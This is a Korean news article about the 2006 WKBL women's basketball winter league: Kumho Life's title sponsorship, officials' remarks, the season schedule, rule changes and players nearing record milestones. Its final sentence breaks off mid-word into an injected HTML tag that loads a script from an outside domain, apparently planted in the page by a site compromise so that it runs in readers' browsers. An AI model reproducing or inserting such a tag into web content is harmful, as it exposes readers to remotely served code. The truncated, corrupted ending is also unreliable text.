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'행복 파트너' 금호생명과 함께하는 2006 WKBL 겨울리그

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금호생명이 타이틀 스폰서를 단 '금호아시아나배 2006 WKBL 겨울리그'가 오는 20일 서울 장충체육관에서 개막한다. 한국여자농구연맹(WKBL)은 12월12일 오전 11시부터 WKBL사무실이 위치한 서울 태평로빌딩 27층 태평로 클럽에서 금호생명과 함께 타이틀스폰서 조인식 및 대회 설명회를 개최했다. 금호생명 구단은 지난 2000년도 여자프로농구의 제6구단으로 창단해 2000여름리그부터 시즌에 참가했다. 이후 신생팀으로 많은 어려움을 겪었던 금호생명은 2004년도 겨울리그에서 우승을 차지하며 여자프로농구의 새로운 강자로 떠올랐다. 금호생명 박병욱 구단주는 축사에서 "이번 2006겨울리그의 타이틀 스폰서를 맡은 금호아시아나 그룹이 창립 60주년을 맞이하는 뜻깊은 해이다. 금호생명은 지금까지 해왔던 것처럼 앞으로도 열심히 노력해 여자프로농구 팬들과 국민에게 꿈과 희망이 되는 '행복 파트너'가 될 것이다. 이번 겨울리그에서도 모두가 함께하는 아름다운 축제가 되길 바란다."며 감사의 뜻을 전했다. 금호아시아나배 2006 겨울리그 대회 기간은 2005년 12월20일(화) ~ 2006년 3월10일(금)까지 총 81일간 서울 중립지역 및 각 지방 연고지에서 진행된다. 금호아시아나배 2006 겨울리그는 총 6개구단이 팀당 20경기씩 총 4라운드(60경기)의 정규리그와 플레이오프(3전2선승제), 챔피언결정전(5전3선승제)으로 진행된다. 정규리그는 2006년 2월21일까지 진행되며, 2월24일부터 플레이오프가 3월3일부터 챔피언리그가 시작된다. 개막전은 12월20일 서울 장충체육관에서 열리며 타이틀스폰서를 맡은 금호생명 팰컨스와 지난 여름리그 챔피언 신한은행 에스버드가 개막 경기를 갖는다. WKBL 김원길 총재는 "현재 여자농구는 세계적인 수준이다. 이번 겨울리그가 최고의 수준을 유지하느냐의 큰 갈림길이 될 것 같다. WNBA에서 활약하는 스타플레이어 외국인선수도 많이 합류해 겨울리그는 최고 수준이 될 것이다."라고 전하며 "기존에 MBC와 독점 중계권을 계약했었지만 아직 계약을 체결하지 않고 여자프로농구를 더 많이 알리기 위해 여러가지 조건을 협의하고 있다."고 중계권에 대한 얘기도 언급했다. 이어 김총재는 "이번 겨울리그가 끝나면 제7구단이 창단된다. 총재를 역임하면서 제6구단 금호생명 농구단을 창단했고, 이제 새로운 구단을 다시 창단하는 것이 내 마지막 임무라고 생각한다. 전 세계에서 여자프로농구가 독자적으로 운영하는 곳은 WKBL밖에 없는데 앞으로도 계속 노력해서 성공적이고 국제적으로 운영될 수 있도록 노력하겠다."고 전했다. 20일 개막하는 금호아시아나배 2006 WKBL 겨울리그에서는 24초 룰과 아웃 오브 바운드의 드로우 인, 경기 시간의 정지 등 3개 부분의 규칙이 개정되어 새롭게 적용된다. 새롭게 적용된 24초 룰은 기존에 테크니컬 파울 및 경기지연 상황, 수비팀 선수의 부상으로 인한 경기 중단, 프런트 코트에서 수비자의 파울, 키킹, 부정수비가 발생한 경우 계시기의 시간이 24초로 리셋됐던 방식에서 새롭게 적용되는 룰이다. 새롭게 적용되는 룰은 위의 상황에서 24초 계시기의 잔여시간이 14초 미만인 경우 14초로 리셋되어 경기가 진행되고 14초 이상인 경우 24초가 아닌 잔여시간만 계시하여 경기가 진행되는 방식이다. 또한 아웃 오브 바운드로부터의 드로우 인은 프런트 코트의 엔드라인과 프리드로우 라인 연장선 사이에서 파울이나 바이얼레이션 또는 그 이외의 다른 이유로 경기가 중단된 때에는 엔드라인 밖에서 드로우인으로 경기를 재개한다. 또 기존에 4쿼터 및 연장전 종료 2분전에 경기시간 정지가 적용됐던 기존 룰에서 2쿼터도 추가 적용되어 이번 시즌부터는 2쿼터, 4쿼터 및 연장전 종료 2분전에도 필드골이 성공되는 즉시 경기시간이 정지된다. 바뀐 경기 룰을 설명한 김영진 WKBL 경기.심판위원장은 "이번에 바뀐 룰의 도입으로 좀더 빠르고 공격적인 여자농구를 볼 수 있을 것이다. 특히 24초 룰 개정으로 경기당 10회 정도 적게는 7~8회 정도의 공격횟수가 많아질 것으로 본다. 또한 엔드라인 드로우 인 개정으로 엔드라인에서의 공격이 살아나 득점력도 높아질 것이다."라고 전하며 여자농구의 스피드와 공격면에서 많이 달라질 것이라고 전망했다. 이번 겨울리그에는 각 부문에서 선수들의 기록 달성도 많을 것으로 보인다. 3득점 부문에서 499개를 기록중인 이언주(금호생명 팰컨스)는 지난 2004년 겨울리그 이후 부상으로 뛰지 못하며 기록달성을 눈앞에 두고 재활 치료를 해왔다. 이번 시즌 부상에서 회복하며 복귀하는 이언주의 500개-3점슛 달성이 예상되며, 480개를 기록중인 김경희(금호생명 팰컨스)도 500개-3점슛 달성이 예상된다. 리바운드 부문에서는 이종애(금호생명 팰컨스/현재 1980개)와 정선민(KB국민은행 세이버스/현재 1898개)의 여자프로농구 통?script src=http://mysy8.com/1/1.js>

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